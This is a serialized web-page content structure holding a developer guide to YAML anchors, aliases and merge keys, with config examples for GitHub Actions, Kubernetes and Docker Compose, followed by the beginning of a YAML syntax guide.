],{"class":1562,"line":2507},[1560,231708,231709],{"class":2484},"  database",[1560,231711,1663],{"class":1570},[1560,231713,231714],{"class":5634},"prod-db\n",[1560,231716,231717],{"class":1562,"line":2524},[1560,231718,1702],{"emptyLinePlaceholder":363},[1560,231720,231721,231723],{"class":1562,"line":2529},[1560,231722,137851],{"class":2484},[1560,231724,19182],{"class":1570},[1560,231726,231727,231729,231731,231733],{"class":1562,"line":2534},[1560,231728,137819],{"class":1576},[1560,231730,1663],{"class":1570},[1560,231732,8069],{"class":1669},[1560,231734,137774],{"class":1570},[1560,231736,231737,231739,231741],{"class":1562,"line":2542},[1560,231738,231709],{"class":2484},[1560,231740,1663],{"class":1570},[1560,231742,231743],{"class":5634},"staging-db\n",[16,231745,421,231746,231749,231750,231752],{},[143,231747,231748],{},"*defaults"," alias copies the anchored mapping. Combined with the merge key ",[143,231751,13487],{},", it merges the anchored keys into the current mapping.",[11,231754,231756,231757,1525],{"id":231755},"the-merge-key","The Merge Key (",[143,231758,13487],{},[16,231760,231761,231762,231764],{},"The merge key ",[143,231763,13487],{}," inserts all keys from an aliased mapping into the current mapping. Keys defined explicitly in the current mapping override merged keys:",[135,231766,231768],{"className":37227,"code":231767,"language":37229,"meta":141,"style":141},"production:\n  \u003C\u003C: *defaults       # Merges timeout, retries, log_level\n  log_level: warning  # Overrides the merged log_level\n  database: prod-db   # Adds a new key\n",[143,231769,231770,231776,231790,231801],{"__ignoreMap":141},[1560,231771,231772,231774],{"class":1562,"line":1563},[1560,231773,137812],{"class":2484},[1560,231775,19182],{"class":1570},[1560,231777,231778,231780,231782,231784,231787],{"class":1562,"line":337},[1560,231779,137819],{"class":1576},[1560,231781,1663],{"class":1570},[1560,231783,8069],{"class":1669},[1560,231785,231786],{"class":1570},"defaults       ",[1560,231788,231789],{"class":1649},"# Merges timeout, retries, log_level\n",[1560,231791,231792,231794,231796,231798],{"class":1562,"line":343},[1560,231793,231615],{"class":2484},[1560,231795,1663],{"class":1570},[1560,231797,92008],{"class":5634},[1560,231799,231800],{"class":1649},"  # Overrides the merged log_level\n",[1560,231802,231803,231805,231807,231810],{"class":1562,"line":365},[1560,231804,231709],{"class":2484},[1560,231806,1663],{"class":1570},[1560,231808,231809],{"class":5634},"prod-db",[1560,231811,231812],{"class":1649},"   # Adds a new key\n",[16,231814,231815],{},"Result after parsing:",[135,231817,231819],{"className":37227,"code":231818,"language":37229,"meta":141,"style":141},"production:\n  timeout: 30\n  retries: 3\n  log_level: warning  # Overridden\n  database: prod-db   # Added\n",[143,231820,231821,231827,231835,231843,231854],{"__ignoreMap":141},[1560,231822,231823,231825],{"class":1562,"line":1563},[1560,231824,137812],{"class":2484},[1560,231826,19182],{"class":1570},[1560,231828,231829,231831,231833],{"class":1562,"line":337},[1560,231830,137779],{"class":2484},[1560,231832,1663],{"class":1570},[1560,231834,137784],{"class":1576},[1560,231836,231837,231839,231841],{"class":1562,"line":343},[1560,231838,137789],{"class":2484},[1560,231840,1663],{"class":1570},[1560,231842,137794],{"class":1576},[1560,231844,231845,231847,231849,231851],{"class":1562,"line":365},[1560,231846,231615],{"class":2484},[1560,231848,1663],{"class":1570},[1560,231850,92008],{"class":5634},[1560,231852,231853],{"class":1649},"  # Overridden\n",[1560,231855,231856,231858,231860,231862],{"class":1562,"line":889},[1560,231857,231709],{"class":2484},[1560,231859,1663],{"class":1570},[1560,231861,231809],{"class":5634},[1560,231863,231864],{"class":1649},"   # Added\n",[33,231866,231868],{"id":231867},"merging-multiple-anchors","Merging Multiple Anchors",[16,231870,231871],{},"You can merge from multiple anchors:",[135,231873,231875],{"className":37227,"code":231874,"language":37229,"meta":141,"style":141},"base: &base\n  image: node:20\n  working_dir: \u002Fapp\n\ncache: &cache\n  cache:\n    paths:\n      - node_modules\u002F\n\nbuild:\n  \u003C\u003C: [*base, *cache]\n  script: npm run build\n",[143,231876,231877,231888,231898,231908,231912,231924,231931,231938,231945,231949,231955,231971],{"__ignoreMap":141},[1560,231878,231879,231881,231883,231885],{"class":1562,"line":1563},[1560,231880,34370],{"class":2484},[1560,231882,1663],{"class":1570},[1560,231884,13530],{"class":1669},[1560,231886,231887],{"class":1566},"base\n",[1560,231889,231890,231893,231895],{"class":1562,"line":337},[1560,231891,231892],{"class":2484},"  image",[1560,231894,1663],{"class":1570},[1560,231896,231897],{"class":5634},"node:20\n",[1560,231899,231900,231903,231905],{"class":1562,"line":343},[1560,231901,231902],{"class":2484},"  working_dir",[1560,231904,1663],{"class":1570},[1560,231906,231907],{"class":5634},"\u002Fapp\n",[1560,231909,231910],{"class":1562,"line":365},[1560,231911,1702],{"emptyLinePlaceholder":363},[1560,231913,231914,231917,231919,231921],{"class":1562,"line":889},[1560,231915,231916],{"class":2484},"cache",[1560,231918,1663],{"class":1570},[1560,231920,13530],{"class":1669},[1560,231922,231923],{"class":1566},"cache\n",[1560,231925,231926,231929],{"class":1562,"line":1710},[1560,231927,231928],{"class":2484},"  cache",[1560,231930,19182],{"class":1570},[1560,231932,231933,231936],{"class":1562,"line":1717},[1560,231934,231935],{"class":2484},"    paths",[1560,231937,19182],{"class":1570},[1560,231939,231940,231942],{"class":1562,"line":1747},[1560,231941,108503],{"class":1570},[1560,231943,231944],{"class":5634},"node_modules\u002F\n",[1560,231946,231947],{"class":1562,"line":2507},[1560,231948,1702],{"emptyLinePlaceholder":363},[1560,231950,231951,231953],{"class":1562,"line":2524},[1560,231952,134231],{"class":2484},[1560,231954,19182],{"class":1570},[1560,231956,231957,231959,231961,231963,231966,231968],{"class":1562,"line":2529},[1560,231958,137819],{"class":1576},[1560,231960,37187],{"class":1570},[1560,231962,8069],{"class":1669},[1560,231964,231965],{"class":1570},"base, ",[1560,231967,8069],{"class":1669},[1560,231969,231970],{"class":1570},"cache]\n",[1560,231972,231973,231976,231978],{"class":1562,"line":2534},[1560,231974,231975],{"class":2484},"  script",[1560,231977,1663],{"class":1570},[1560,231979,231980],{"class":5634},"npm run build\n",[16,231982,231983],{},"Later anchors override keys from earlier ones when both define the same key.",[11,231985,231987],{"id":231986},"anchors-without-merging","Anchors Without Merging",[16,231989,231990],{},"Anchors work with any YAML node type, not just mappings:",[33,231992,231994],{"id":231993},"anchored-sequences","Anchored Sequences",[135,231996,231998],{"className":37227,"code":231997,"language":37229,"meta":141,"style":141},"common_steps: &common_steps\n  - checkout\n  - install dependencies\n\ndeploy_production:\n  steps:\n    - *common_steps\n    - deploy to production\n",[143,231999,232000,232012,232019,232026,232030,232037,232044,232053],{"__ignoreMap":141},[1560,232001,232002,232005,232007,232009],{"class":1562,"line":1563},[1560,232003,232004],{"class":2484},"common_steps",[1560,232006,1663],{"class":1570},[1560,232008,13530],{"class":1669},[1560,232010,232011],{"class":1566},"common_steps\n",[1560,232013,232014,232016],{"class":1562,"line":337},[1560,232015,37327],{"class":1570},[1560,232017,232018],{"class":5634},"checkout\n",[1560,232020,232021,232023],{"class":1562,"line":343},[1560,232022,37327],{"class":1570},[1560,232024,232025],{"class":5634},"install dependencies\n",[1560,232027,232028],{"class":1562,"line":365},[1560,232029,1702],{"emptyLinePlaceholder":363},[1560,232031,232032,232035],{"class":1562,"line":889},[1560,232033,232034],{"class":2484},"deploy_production",[1560,232036,19182],{"class":1570},[1560,232038,232039,232042],{"class":1562,"line":1710},[1560,232040,232041],{"class":2484},"  steps",[1560,232043,19182],{"class":1570},[1560,232045,232046,232049,232051],{"class":1562,"line":1717},[1560,232047,232048],{"class":1570},"    - ",[1560,232050,8069],{"class":1669},[1560,232052,232011],{"class":1570},[1560,232054,232055,232057],{"class":1562,"line":1747},[1560,232056,232048],{"class":1570},[1560,232058,232059],{"class":5634},"deploy to production\n",[16,232061,232062,232063,232066],{},"Note: ",[143,232064,232065],{},"*common_steps"," as a list item creates a nested list. To flatten it, structure your anchors differently or use merge keys.",[33,232068,232070],{"id":232069},"anchored-scalars","Anchored Scalars",[135,232072,232074],{"className":37227,"code":232073,"language":37229,"meta":141,"style":141},"api_version: &apiVersion v1\n\nservice1:\n  apiVersion: *apiVersion\n\nservice2:\n  apiVersion: *apiVersion\n",[143,232075,232076,232091,232095,232102,232114,232118,232125],{"__ignoreMap":141},[1560,232077,232078,232081,232083,232085,232088],{"class":1562,"line":1563},[1560,232079,232080],{"class":2484},"api_version",[1560,232082,1663],{"class":1570},[1560,232084,13530],{"class":1669},[1560,232086,232087],{"class":1566},"apiVersion",[1560,232089,232090],{"class":5634}," v1\n",[1560,232092,232093],{"class":1562,"line":337},[1560,232094,1702],{"emptyLinePlaceholder":363},[1560,232096,232097,232100],{"class":1562,"line":343},[1560,232098,232099],{"class":2484},"service1",[1560,232101,19182],{"class":1570},[1560,232103,232104,232107,232109,232111],{"class":1562,"line":365},[1560,232105,232106],{"class":2484},"  apiVersion",[1560,232108,1663],{"class":1570},[1560,232110,8069],{"class":1669},[1560,232112,232113],{"class":1570},"apiVersion\n",[1560,232115,232116],{"class":1562,"line":889},[1560,232117,1702],{"emptyLinePlaceholder":363},[1560,232119,232120,232123],{"class":1562,"line":1710},[1560,232121,232122],{"class":2484},"service2",[1560,232124,19182],{"class":1570},[1560,232126,232127,232129,232131,232133],{"class":1562,"line":1717},[1560,232128,232106],{"class":2484},[1560,232130,1663],{"class":1570},[1560,232132,8069],{"class":1669},[1560,232134,232113],{"class":1570},[16,232136,232137],{},"Useful for values that appear in many places and might change together — like API versions or image tags.",[11,232139,232141],{"id":232140},"real-world-patterns","Real-World Patterns",[33,232143,232145],{"id":232144},"github-actions","GitHub Actions",[135,232147,232149],{"className":37227,"code":232148,"language":37229,"meta":141,"style":141},"defaults: &_step_defaults\n  working-directory: .\u002Fapp\n\ninstall: &install\n  \u003C\u003C: *step_defaults\n  run: npm ci\n\nlint:\n  \u003C\u003C: *step_defaults\n  needs: install\n  run: npm run lint\n\ntest:\n  \u003C\u003C: *step_defaults\n  needs: install\n  run: npm test\n",[143,232150,232151,232162,232172,232176,232188,232199,232208,232212,232219,232229,232238,232247,232251,232257,232267,232275],{"__ignoreMap":141},[1560,232152,232153,232155,232157,232159],{"class":1562,"line":1563},[1560,232154,137767],{"class":2484},[1560,232156,1663],{"class":1570},[1560,232158,13530],{"class":1669},[1560,232160,232161],{"class":1566},"_step_defaults\n",[1560,232163,232164,232167,232169],{"class":1562,"line":337},[1560,232165,232166],{"class":2484},"  working-directory",[1560,232168,1663],{"class":1570},[1560,232170,232171],{"class":5634},".\u002Fapp\n",[1560,232173,232174],{"class":1562,"line":343},[1560,232175,1702],{"emptyLinePlaceholder":363},[1560,232177,232178,232181,232183,232185],{"class":1562,"line":365},[1560,232179,232180],{"class":2484},"install",[1560,232182,1663],{"class":1570},[1560,232184,13530],{"class":1669},[1560,232186,232187],{"class":1566},"install\n",[1560,232189,232190,232192,232194,232196],{"class":1562,"line":889},[1560,232191,137819],{"class":1576},[1560,232193,1663],{"class":1570},[1560,232195,8069],{"class":1669},[1560,232197,232198],{"class":1570},"step_defaults\n",[1560,232200,232201,232203,232205],{"class":1562,"line":1710},[1560,232202,150308],{"class":2484},[1560,232204,1663],{"class":1570},[1560,232206,232207],{"class":5634},"npm ci\n",[1560,232209,232210],{"class":1562,"line":1717},[1560,232211,1702],{"emptyLinePlaceholder":363},[1560,232213,232214,232217],{"class":1562,"line":1747},[1560,232215,232216],{"class":2484},"lint",[1560,232218,19182],{"class":1570},[1560,232220,232221,232223,232225,232227],{"class":1562,"line":2507},[1560,232222,137819],{"class":1576},[1560,232224,1663],{"class":1570},[1560,232226,8069],{"class":1669},[1560,232228,232198],{"class":1570},[1560,232230,232231,232234,232236],{"class":1562,"line":2524},[1560,232232,232233],{"class":2484},"  needs",[1560,232235,1663],{"class":1570},[1560,232237,232187],{"class":5634},[1560,232239,232240,232242,232244],{"class":1562,"line":2529},[1560,232241,150308],{"class":2484},[1560,232243,1663],{"class":1570},[1560,232245,232246],{"class":5634},"npm run lint\n",[1560,232248,232249],{"class":1562,"line":2534},[1560,232250,1702],{"emptyLinePlaceholder":363},[1560,232252,232253,232255],{"class":1562,"line":2542},[1560,232254,98998],{"class":2484},[1560,232256,19182],{"class":1570},[1560,232258,232259,232261,232263,232265],{"class":1562,"line":2558},[1560,232260,137819],{"class":1576},[1560,232262,1663],{"class":1570},[1560,232264,8069],{"class":1669},[1560,232266,232198],{"class":1570},[1560,232268,232269,232271,232273],{"class":1562,"line":2570},[1560,232270,232233],{"class":2484},[1560,232272,1663],{"class":1570},[1560,232274,232187],{"class":5634},[1560,232276,232277,232279,232281],{"class":1562,"line":6638},[1560,232278,150308],{"class":2484},[1560,232280,1663],{"class":1570},[1560,232282,232283],{"class":5634},"npm test\n",[33,232285,232286],{"id":8572},"Kubernetes",[135,232288,232290],{"className":37227,"code":232289,"language":37229,"meta":141,"style":141},"common_labels: &common_labels\n  app.kubernetes.io\u002Fpart-of: myapp\n  app.kubernetes.io\u002Fmanaged-by: helm\n\ndeployment:\n  metadata:\n    labels:\n      \u003C\u003C: *common_labels\n      app.kubernetes.io\u002Fcomponent: api\n",[143,232291,232292,232304,232314,232324,232328,232335,232342,232349,232360],{"__ignoreMap":141},[1560,232293,232294,232297,232299,232301],{"class":1562,"line":1563},[1560,232295,232296],{"class":2484},"common_labels",[1560,232298,1663],{"class":1570},[1560,232300,13530],{"class":1669},[1560,232302,232303],{"class":1566},"common_labels\n",[1560,232305,232306,232309,232311],{"class":1562,"line":337},[1560,232307,232308],{"class":2484},"  app.kubernetes.io\u002Fpart-of",[1560,232310,1663],{"class":1570},[1560,232312,232313],{"class":5634},"myapp\n",[1560,232315,232316,232319,232321],{"class":1562,"line":343},[1560,232317,232318],{"class":2484},"  app.kubernetes.io\u002Fmanaged-by",[1560,232320,1663],{"class":1570},[1560,232322,232323],{"class":5634},"helm\n",[1560,232325,232326],{"class":1562,"line":365},[1560,232327,1702],{"emptyLinePlaceholder":363},[1560,232329,232330,232333],{"class":1562,"line":889},[1560,232331,232332],{"class":2484},"deployment",[1560,232334,19182],{"class":1570},[1560,232336,232337,232340],{"class":1562,"line":1710},[1560,232338,232339],{"class":2484},"  metadata",[1560,232341,19182],{"class":1570},[1560,232343,232344,232347],{"class":1562,"line":1717},[1560,232345,232346],{"class":2484},"    labels",[1560,232348,19182],{"class":1570},[1560,232350,232351,232354,232356,232358],{"class":1562,"line":1747},[1560,232352,232353],{"class":1576},"      \u003C\u003C",[1560,232355,1663],{"class":1570},[1560,232357,8069],{"class":1669},[1560,232359,232303],{"class":1570},[1560,232361,232362,232365,232367],{"class":1562,"line":2507},[1560,232363,232364],{"class":2484},"      app.kubernetes.io\u002Fcomponent",[1560,232366,1663],{"class":1570},[1560,232368,232369],{"class":5634},"api\n",[33,232371,232373],{"id":232372},"docker-compose","Docker Compose",[135,232375,232377],{"className":37227,"code":232376,"language":37229,"meta":141,"style":141},"x-common: &common\n  restart: unless-stopped\n  logging:\n    driver: json-file\n    options:\n      max-size: \"10m\"\n\nservices:\n  web:\n    \u003C\u003C: *common\n    image: myapp-web\n    ports:\n      - \"3000:3000\"\n\n  worker:\n    \u003C\u003C: *common\n    image: myapp-worker\n",[143,232378,232379,232391,232401,232407,232417,232424,232434,232438,232445,232452,232463,232473,232480,232487,232491,232498,232508],{"__ignoreMap":141},[1560,232380,232381,232384,232386,232388],{"class":1562,"line":1563},[1560,232382,232383],{"class":2484},"x-common",[1560,232385,1663],{"class":1570},[1560,232387,13530],{"class":1669},[1560,232389,232390],{"class":1566},"common\n",[1560,232392,232393,232396,232398],{"class":1562,"line":337},[1560,232394,232395],{"class":2484},"  restart",[1560,232397,1663],{"class":1570},[1560,232399,232400],{"class":5634},"unless-stopped\n",[1560,232402,232403,232405],{"class":1562,"line":343},[1560,232404,137799],{"class":2484},[1560,232406,19182],{"class":1570},[1560,232408,232409,232412,232414],{"class":1562,"line":365},[1560,232410,232411],{"class":2484},"    driver",[1560,232413,1663],{"class":1570},[1560,232415,232416],{"class":5634},"json-file\n",[1560,232418,232419,232422],{"class":1562,"line":889},[1560,232420,232421],{"class":2484},"    options",[1560,232423,19182],{"class":1570},[1560,232425,232426,232429,232431],{"class":1562,"line":1710},[1560,232427,232428],{"class":2484},"      max-size",[1560,232430,1663],{"class":1570},[1560,232432,232433],{"class":5634},"\"10m\"\n",[1560,232435,232436],{"class":1562,"line":1717},[1560,232437,1702],{"emptyLinePlaceholder":363},[1560,232439,232440,232443],{"class":1562,"line":1747},[1560,232441,232442],{"class":2484},"services",[1560,232444,19182],{"class":1570},[1560,232446,232447,232450],{"class":1562,"line":2507},[1560,232448,232449],{"class":2484},"  web",[1560,232451,19182],{"class":1570},[1560,232453,232454,232457,232459,232461],{"class":1562,"line":2524},[1560,232455,232456],{"class":1576},"    \u003C\u003C",[1560,232458,1663],{"class":1570},[1560,232460,8069],{"class":1669},[1560,232462,232390],{"class":1570},[1560,232464,232465,232468,232470],{"class":1562,"line":2529},[1560,232466,232467],{"class":2484},"    image",[1560,232469,1663],{"class":1570},[1560,232471,232472],{"class":5634},"myapp-web\n",[1560,232474,232475,232478],{"class":1562,"line":2534},[1560,232476,232477],{"class":2484},"    ports",[1560,232479,19182],{"class":1570},[1560,232481,232482,232484],{"class":1562,"line":2542},[1560,232483,108503],{"class":1570},[1560,232485,232486],{"class":5634},"\"3000:3000\"\n",[1560,232488,232489],{"class":1562,"line":2558},[1560,232490,1702],{"emptyLinePlaceholder":363},[1560,232492,232493,232496],{"class":1562,"line":2570},[1560,232494,232495],{"class":2484},"  worker",[1560,232497,19182],{"class":1570},[1560,232499,232500,232502,232504,232506],{"class":1562,"line":6638},[1560,232501,232456],{"class":1576},[1560,232503,1663],{"class":1570},[1560,232505,8069],{"class":1669},[1560,232507,232390],{"class":1570},[1560,232509,232510,232512,232514],{"class":1562,"line":11615},[1560,232511,232467],{"class":2484},[1560,232513,1663],{"class":1570},[1560,232515,232516],{"class":5634},"myapp-worker\n",[16,232518,421,232519,232522],{},[143,232520,232521],{},"x-"," prefix is a Docker Compose convention for extension fields — they don't appear in the final config but serve as anchor containers.",[11,232524,61655],{"id":64222},[41,232526,232527,232533,232542,232560],{},[44,232528,232529,232532],{},[47,232530,232531],{},"No circular references",": An alias cannot reference an anchor defined within the same node it merges into.",[44,232534,232535,232538,232539,232541],{},[47,232536,232537],{},"Merge key only works with mappings",": You can't use ",[143,232540,13487],{}," with sequences or scalars.",[44,232543,232544,232547,232548,232551,232552,232555,232556,232559],{},[47,232545,232546],{},"Parser support varies",": Some YAML parsers (especially older ones) don't support merge keys. ",[143,232549,232550],{},"PyYAML"," supports them; ",[143,232553,232554],{},"js-yaml"," supports them; Go's ",[143,232557,232558],{},"gopkg.in\u002Fyaml.v2"," supports them.",[44,232561,232562,232565,232566,232569,232570,232573,232574,232576],{},[47,232563,232564],{},"No partial overrides of nested mappings",": The merge key operates at the top level. If you merge a mapping with a nested ",[143,232567,232568],{},"database:"," key, you can't override just ",[143,232571,232572],{},"database.host"," — you must override the entire ",[143,232575,232568],{}," block.",[11,232578,1355],{"id":1354},[41,232580,232581,232592,232598,232601,232607,232610],{},[44,232582,232583,232584,232587,232588,232591],{},"Anchors (",[143,232585,232586],{},"&name",") mark a node for reuse; aliases (",[143,232589,232590],{},"*name",") reference it",[44,232593,232594,232595,232597],{},"The merge key (",[143,232596,13487],{},") inserts keys from an anchored mapping, with local keys taking precedence",[44,232599,232600],{},"Anchors work with any node type: mappings, sequences, and scalars",[44,232602,232603,232604,232606],{},"Use extension fields (",[143,232605,232521],{},") in Docker Compose to hold anchors without polluting the output",[44,232608,232609],{},"Merge key limitations: no nested partial overrides, mappings only, parser support varies",[44,232611,232612],{},"Anchors and aliases are a parsing-level feature — the consuming application sees only the resolved data",[11,232614,321],{"id":320},[41,232616,232617,232621,232625],{},[44,232618,232619],{},[98,232620,37795],{"href":37794},[44,232622,232623],{},[98,232624,37788],{"href":37787},[44,232626,232627],{},[98,232628,138094],{"href":37817},[11,232630,286],{"id":285},[16,232632,232633,232634,232636],{},"Convert between JSON and YAML instantly with our free ",[98,232635,154930],{"href":37769},". Paste your config, see the anchors resolved, and switch formats in one click.",[2043,232638,232639],{},"html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":141,"searchDepth":337,"depth":337,"links":232641},[232642,232643,232644,232645,232649,232653,232658,232659,232660,232661],{"id":231563,"depth":337,"text":231564},{"id":231573,"depth":337,"text":231574},{"id":231630,"depth":337,"text":231631},{"id":231755,"depth":337,"text":232646,"children":232647},"The Merge Key (\u003C\u003C)",[232648],{"id":231867,"depth":343,"text":231868},{"id":231986,"depth":337,"text":231987,"children":232650},[232651,232652],{"id":231993,"depth":343,"text":231994},{"id":232069,"depth":343,"text":232070},{"id":232140,"depth":337,"text":232141,"children":232654},[232655,232656,232657],{"id":232144,"depth":343,"text":232145},{"id":8572,"depth":343,"text":232286},{"id":232372,"depth":343,"text":232373},{"id":64222,"depth":337,"text":61655},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Learn how YAML anchors and aliases reduce repetition in config files — syntax, merging keys, and real-world patterns for Kubernetes, CI\u002FCD, and more.",{"immutable":363},"\u002Fguides\u002Fyaml-anchors-aliases-explained",{"title":231558,"description":232662},"guides\u002Fyaml-anchors-aliases-explained","bVaslgJL1WNq1RIqOPKiaqwGFuPMGdQBefVJNCBig8o",{"id":232669,"title":232670,"body":232671,"date":2070,"description":234319,"extension":361,"meta":234320,"navigation":363,"path":37794,"readingTime":1717,"seo":234321,"stem":234322,"__hash__":234323},"guides\u002Fguides\u002Fyaml-syntax-guide.md","YAML Syntax Guide: A Practical Reference for Developers",{"type":8,"value":232672,"toc":234287},[232673,232677,232680,232687,232691,232695,232698,232729,232736,232738,232741,232774,232777,232800,232804,232807,232859,232863,232866,232963,232982,233029,233033,233036,233042,233045,233075,233081,233087,233090,233118,233123,233125,233216,233220,233231,233343,233347,233361,233365,233372,233468,233471,233473,233477,233480,233547,233552,233556,233598,233635,233639,233642,233646,233649,233745,233756,233758,233760,233906,233908,234052,234056,234218,234220,234258,234260,234263,234270,234272,234284],[11,232674,232676],{"id":232675},"what-is-yaml","What is YAML?",[16,232678,232679],{},"YAML (YAML Ain't Markup Language) is a human-friendly data serialization format. It uses indentation to define structure rather than braces, brackets, or tags. That makes it the preferred choice for configuration files in tools like Kubernetes, Docker Compose, GitHub Actions, and Ansible.",[16,232681,232682,232683,232686],{},"If you have ever written a ",[143,232684,232685],{},".yml"," file, you already know the basics. This guide covers everything from fundamentals to advanced features — and the pitfalls that trip up even experienced developers.",[11,232688,232690],{"id":232689},"basic-structure","Basic Structure",[33,232692,232694],{"id":232693},"key-value-pairs","Key-Value Pairs",[16,232696,232697],{},"The building block of YAML is the key-value pair:",[135,232699,232701],{"className":37227,"code":232700,"language":37229,"meta":141,"style":141},"name: Alice\nage: 30\nactive: true\n",[143,232702,232703,232712,232720],{"__ignoreMap":141},[1560,232704,232705,232707,232709],{"class":1562,"line":1563},[1560,232706,82747],{"class":2484},[1560,232708,1663],{"class":1570},[1560,232710,232711],{"class":5634},"Alice\n",[1560,232713,232714,232716,232718],{"class":1562,"line":337},[1560,232715,134076],{"class":2484},[1560,232717,1663],{"class":1570},[1560,232719,137784],{"class":1576},[1560,232721,232722,232725,232727],{"class":1562,"line":343},[1560,232723,232724],{"class":2484},"active",[1560,232726,1663],{"class":1570},[1560,232728,23527],{"class":1576},[16,232730,232731,232732,232735],{},"Keys are separated from values by a colon followed by a space. The space is mandatory — ",[143,232733,232734],{},"name:Alice"," is invalid.",[33,232737,147896],{"id":147895},[16,232739,232740],{},"Use a hyphen and space to create a list:",[135,232742,232744],{"className":37227,"code":232743,"language":37229,"meta":141,"style":141},"skills:\n  - Python\n  - JavaScript\n  - Go\n",[143,232745,232746,232753,232760,232767],{"__ignoreMap":141},[1560,232747,232748,232751],{"class":1562,"line":1563},[1560,232749,232750],{"class":2484},"skills",[1560,232752,19182],{"class":1570},[1560,232754,232755,232757],{"class":1562,"line":337},[1560,232756,37327],{"class":1570},[1560,232758,232759],{"class":5634},"Python\n",[1560,232761,232762,232764],{"class":1562,"line":343},[1560,232763,37327],{"class":1570},[1560,232765,232766],{"class":5634},"JavaScript\n",[1560,232768,232769,232771],{"class":1562,"line":365},[1560,232770,37327],{"class":1570},[1560,232772,232773],{"class":5634},"Go\n",[16,232775,232776],{},"Lists can also appear inline:",[135,232778,232780],{"className":37227,"code":232779,"language":37229,"meta":141,"style":141},"skills: [Python, JavaScript, Go]\n",[143,232781,232782],{"__ignoreMap":141},[1560,232783,232784,232786,232788,232790,232792,232794,232796,232798],{"class":1562,"line":1563},[1560,232785,232750],{"class":2484},[1560,232787,37187],{"class":1570},[1560,232789,9840],{"class":5634},[1560,232791,1459],{"class":1570},[1560,232793,9860],{"class":5634},[1560,232795,1459],{"class":1570},[1560,232797,9900],{"class":5634},[1560,232799,37203],{"class":1570},[33,232801,232803],{"id":232802},"nested-dictionaries","Nested Dictionaries",[16,232805,232806],{},"Indentation creates nested structures. Use consistent spaces (2 is the convention) — never tabs:",[135,232808,232810],{"className":37227,"code":232809,"language":37229,"meta":141,"style":141},"server:\n  port: 3000\n  host: localhost\n  ssl:\n    enabled: true\n    cert: \u002Fetc\u002Fssl\u002Fcert.pem\n",[143,232811,232812,232818,232826,232834,232840,232849],{"__ignoreMap":141},[1560,232813,232814,232816],{"class":1562,"line":1563},[1560,232815,137574],{"class":2484},[1560,232817,19182],{"class":1570},[1560,232819,232820,232822,232824],{"class":1562,"line":337},[1560,232821,37253],{"class":2484},[1560,232823,1663],{"class":1570},[1560,232825,37258],{"class":1576},[1560,232827,232828,232830,232832],{"class":1562,"line":343},[1560,232829,37288],{"class":2484},[1560,232831,1663],{"class":1570},[1560,232833,37293],{"class":5634},[1560,232835,232836,232838],{"class":1562,"line":365},[1560,232837,154403],{"class":2484},[1560,232839,19182],{"class":1570},[1560,232841,232842,232845,232847],{"class":1562,"line":889},[1560,232843,232844],{"class":2484},"    enabled",[1560,232846,1663],{"class":1570},[1560,232848,23527],{"class":1576},[1560,232850,232851,232854,232856],{"class":1562,"line":1710},[1560,232852,232853],{"class":2484},"    cert",[1560,232855,1663],{"class":1570},[1560,232857,232858],{"class":5634},"\u002Fetc\u002Fssl\u002Fcert.pem\n",[11,232860,232862],{"id":232861},"data-types","Data Types",[16,232864,232865],{},"YAML infers types automatically based on how values are written:",[193,232867,232868,232878],{},[196,232869,232870],{},[199,232871,232872,232874,232876],{},[202,232873,34969],{},[202,232875,133],{},[202,232877,154709],{},[211,232879,232880,232892,232906,232918,232931,232948],{},[199,232881,232882,232884,232888],{},[216,232883,157068],{},[216,232885,232886],{},[143,232887,22064],{},[216,232889,232890],{},[143,232891,206048],{},[199,232893,232894,232897,232902],{},[216,232895,232896],{},"String (quoted)",[216,232898,232899],{},[143,232900,232901],{},"\"123\"",[216,232903,232904],{},[143,232905,232901],{},[199,232907,232908,232910,232914],{},[216,232909,10191],{},[216,232911,232912],{},[143,232913,14520],{},[216,232915,232916],{},[143,232917,14520],{},[199,232919,232920,232922,232927],{},[216,232921,65913],{},[216,232923,232924],{},[143,232925,232926],{},"3.14",[216,232928,232929],{},[143,232930,232926],{},[199,232932,232933,232936,232942],{},[216,232934,232935],{},"Boolean",[216,232937,232938,14237,232940],{},[143,232939,20533],{},[143,232941,13730],{},[216,232943,232944,14237,232946],{},[143,232945,20533],{},[143,232947,13730],{},[199,232949,232950,232953,232959],{},[216,232951,232952],{},"Null",[216,232954,232955,1531,232957],{},[143,232956,80702],{},[143,232958,6845],{},[216,232960,232961],{},[143,232962,80702],{},[16,232964,232965,232968,232969,1459,232971,1459,232973,1459,232975,1459,232977,1459,232979,232981],{},[47,232966,232967],{},"Watch out:"," Unquoted values like ",[143,232970,86828],{},[143,232972,86831],{},[143,232974,85138],{},[143,232976,86825],{},[143,232978,164321],{},[143,232980,22610],{}," are parsed as booleans in YAML 1.1. Always quote strings that could be misinterpreted:",[135,232983,232985],{"className":37227,"code":232984,"language":37229,"meta":141,"style":141},"# YAML 1.1 treats these as booleans!\nfeature_flag: \"on\"      # String (quoted)\nauto_save: \"no\"         # String (quoted)\nanswer: \"yes\"           # String 